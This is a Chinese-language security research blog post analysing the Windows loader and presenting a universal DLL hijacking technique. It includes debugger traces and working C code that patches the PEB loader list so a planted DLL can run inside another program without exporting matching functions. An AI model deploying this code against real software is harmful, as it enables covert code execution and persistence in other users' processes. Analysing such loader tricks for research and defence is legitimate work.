[原創]一種通用DLL劫持技術研究

通用DLL劫持技術研究
by anhkgg
2018年11月29日

寫在前面

Dll劫持相信大家都不陌生，理論就不多說了。Dll劫持的目的一般都是為了自己的dll模組能夠在別人程式中執行，然後做些不可描述的事情。

為了讓別人的程式能夠正常執行，通常都需要在自己的dll中匯出和劫持的目標dll相同的函式介面，然後在自己的介面函式中呼叫原始dll的函式，如此使得原始dll的功能能夠正常被使用。匯出介面可以自己手工寫，也可以透過工具自動生成，比如著名的Aheadlib。這種方法的缺點就是針對不同的dll需要匯出不同的介面，雖然有工具幫助，但也有限制，比如不支援x64。

除此之外，很早之前就知道一種通用dll劫持的方法，原理大致是在自己的dll的dllmian中載入被劫持dll，然後修改loadlibrary的返回值為被劫持dll載入後的模組控制程式碼。這種方式就是自己的dll不用匯出和被劫持dll相同的函式介面，使用更加方便，也更加通用。

下面就嘗試分析一下如何實現這種通用的dll劫持方法。

原理分析

隨便寫一個測試程式碼：

//mydll.dll 偽造的用於劫持mydll.dll的dll程式碼
//mydll.dll.1是把test.exe載入的原始dll修改為這個名字
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        __debugbreak();
        HMODULE hmod = LoadLibraryW("mydll.dll.1");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
//test.exe
void main()
{
    LoadLibraryW(L"mydll.dll");
}

用windbg載入看看堆疊，如下所示。在test中透過LoadLibraryW載入mydll.dll，最後進入mydll!DllMain。現在需要分析系統對映dll之後是如何把基地址返回給LoadLibraryW，然後才能想辦法把這個值給修改成載入mydll.dll.1的值。

0:000> kvn
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d
01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec
02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13
03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14
04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])
05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])
06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])
08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])
09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5
0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e
0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105
0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918
0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9
0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

先去reactos翻看一下，找到如下的函式呼叫結構。在LdrLoadDll引數中BaseAddress就是最後返回給LoadLibraryW的值，所以繼續看BaseAddress是如何賦值的。BaseAddress繼續傳給LdrpLoadDll，在LdrpLoadDll中，首先透過LdrpMapDll對映dll模組，返回一個LdrEntry的LDR_DATA_TABLE_ENTRY結構，儲存了dll載入的基址、大小、名字等資訊。接著LdrEntry會插入到peb->ldr連結串列結構中，然後呼叫LdrpRunInitializeRoutines，在LdrpRunInitializeRoutines中最終會呼叫DllMain，此處不繼續深入分析。最後LdrEntry->DllBase賦值給BaseAddress。到此流程分析清楚，下面考慮如何修改這個值。

NTSTATUS
NTAPI
LdrLoadDll(IN PWSTR SearchPath OPTIONAL,
           IN PULONG DllCharacteristics OPTIONAL,
           IN PUNICODE_STRING DllName,
           OUT PVOID *BaseAddress) {
               Status = LdrpLoadDll(RedirectedDll,
                         SearchPath,
                         DllCharacteristics,
                         DllName,
                         BaseAddress,
                         TRUE);
           }

NTSTATUS
NTAPI
LdrpLoadDll(IN BOOLEAN Redirected,
            IN PWSTR DllPath OPTIONAL,
            IN PULONG DllCharacteristics OPTIONAL,
            IN PUNICODE_STRING DllName,
            OUT PVOID *BaseAddress,
            IN BOOLEAN CallInit)
            {
                Status = LdrpMapDll(DllPath,
                            DllPath,
                            NameBuffer,
                            DllCharacteristics,
                            FALSE,
                            Redirected,
                            &LdrEntry);

                 //插入peb->ldr連結串列

                Status = LdrpRunInitializeRoutines(NULL);

                if (NT_SUCCESS(Status))
                {
                    /* Return the base address */
                    *BaseAddress = LdrEntry->DllBase;
                }
            }    

LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain

記得映像中的那種方法，是透過堆疊回溯到LdrpLoadDll中，找到LdrEntry進行修改（不確實是否準備，時間久遠了），但因為LdrEntry是區域性變數，不同系統可以不一樣，相容性差一些。但看到這個呼叫流程之後，其實還有另一種方式。LdrEntry->DllBase賦值給BaseAddress，那麼在賦值之前把這個LdrEntry->DllBase修改了即可，在DllMain正好是修改的時機，但是不需要使用堆疊回溯的方式。因為LdrEntry已經插入到peb->ldr中，那麼在DllMain中可以直接獲取peb->ldr遍歷連結串列找到目標dll堆疊的LdrEntry就是需要修改的LdrEntry，然後修改即可。

不過這個分析都是基於reactos來的，還是需要確認一下真是windows系統的ntdll是如何首先的。

在win7 x64系統中，ntdll的關鍵程式碼如下所示。差別是LdrpLoadDll直接返回的ldrentry，而不是BaseAddress，在LdrpLoadDll內部流程基本和reactos一致。所以方案應該可行，後續驗證確實證明可行。

int __fastcall LdrLoadDll()
{
v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry);
  v12 = v11;
  if ( v11 >= 0 )
    *dllbase = dataentry->DllBase;

}

嘗試實現

實現其實非常簡單，關鍵程式碼如下所示。兩部分程式碼，一個是載入原始dll模組（mydll.dll.1）拿到真是的模組控制程式碼hMod（基地址），第二個就是遍歷peb->ldr找到mydll.dll的ldrentry，然後修改dllbase為hMod。

void* NtCurrentPeb()
{
    __asm {
        mov eax, fs:[0x30];
    }
}
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
    __asm {
        mov eax, peb;
        mov eax, [eax + 0xc];
    }
}
VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
{
    WCHAR wszDllName[100] = { 0 };
    void* peb = NtCurrentPeb();
    PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

    for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
        entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
        entry = entry->Blink) {
        PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

        memset(wszDllName, 0, 100 * 2);
        memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);

        if (!_wcsicmp(wszDllName, dllname)) {
            data->DllBase = hMod;
            break;
        }
    }
}
VOID DllHijack(HMODULE hMod)
{
    TCHAR tszDllPath[MAX_PATH] = { 0 };

    GetModuleFileName(hMod, tszDllPath, MAX_PATH);
    PathRemoveFileSpec(tszDllPath);
    PathAppend(tszDllPath, TEXT("mydll.dll.1"));

    HMODULE hMod1 = LoadLibrary(tszDllPath);

    SuperDllHijack(L"mydll.dll", hMod1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DllHijack(hModule);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

總結

經測試在win7 x84和win10 x64中即是有效的，其他系統未測試，如果有問題，請留言或自行解決。

害怕這種方案不行，還想了另一種思路，在dllmain中hook LdrpLoadDll的返回撥用地址處，修改dataentry的值，因為LdrLoadDll函式介面固定，所以這種方式也應該是通用的，不過實現起來其實還比現在的麻煩些，所以只是保留了這種思路，並未去實現驗證，留給愛折騰的朋友吧。

最後，程式碼上傳了github，https://github.com/anhkgg/SuperDllHijack

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